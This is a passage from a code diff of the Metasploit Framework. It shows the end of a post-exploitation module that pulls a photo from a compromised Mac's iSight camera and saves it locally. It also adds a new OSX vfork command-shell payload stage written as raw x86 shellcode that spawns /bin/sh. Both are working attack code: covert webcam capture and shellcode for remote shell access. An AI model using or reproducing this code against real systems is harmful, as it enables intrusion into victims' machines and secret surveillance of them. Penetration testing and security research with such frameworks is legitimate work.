photo_length = session.rstream.read(4).unpack('V')[0]
|
||||
|
||||
print_status("Downloading photo (#{photo_length} bytes)...")
|
||||
|
||||
photo = session.rstream.read(photo_length)
|
||||
|
||||
# Extract the host and port
|
||||
host,port = session.tunnel_peer.split(':')
|
||||
|
||||
# Create a directory for the images
|
||||
base = File.join(Msf::Config.config_directory, 'logs', 'isight')
|
||||
dest = File.join(base,
|
||||
host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000))+".jpg"
|
||||
)
|
||||
|
||||
# Create the log directory
|
||||
FileUtils.mkdir_p(base)
|
||||
File.open(dest, 'wb') do |f|
|
||||
f.write(photo)
|
||||
f.flush
|
||||
end
|
||||
|
||||
print_status("Photo saved as #{dest}")
|
||||
|
||||
if (datastore['AUTOVIEW'] == true)
|
||||
print_status("Opening photo in a web browser...")
|
||||
Rex::Compat.open_browser(File.expand_path(dest))
|
||||
end
|
||||
|
||||
super(session)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,48 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OSX (vfork) Command Shell',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Call vfork() if necessary and spawn a command shell',
|
||||
'Author' => 'Dino Dai Zovi <ddz@theta44.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Stage' =>
|
||||
{
|
||||
'Payload' =>
|
||||
"\x31\xdb\x83\xeb\x01\x43\x53\x57"+
|
||||
"\x53\xb0\x5a\xcd\x80\x72\x43\x83"+
|
||||
"\xfb\x03\x75\xf1\x31\xc0\x50\x50"+
|
||||
"\x50\x50\xb0\x3b\xcd\x80\x90\x90"+
|
||||
"\x3c\x2d\x75\x09\xb0\x42\xcd\x80"+
|
||||
"\x83\xfa\x00\x74\x17\x31\xc0\x50"+
|
||||
"\x68\x2f\x2f\x73\x68\x68\x2f\x62"+
|
||||
"\x69\x6e\x89\xe3\x50\x50\x53\x50"+
|
||||
"\xb0\x3b\xcd\x80\x31\xc0\x50\x89"+
|
||||
"\xe3\x50\x50\x53\x50\x50\xb0\x07"+
|
||||
"\xcd\x80\x31\xc0\x50\x50\x40\xcd"+
|
||||
"\x80"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue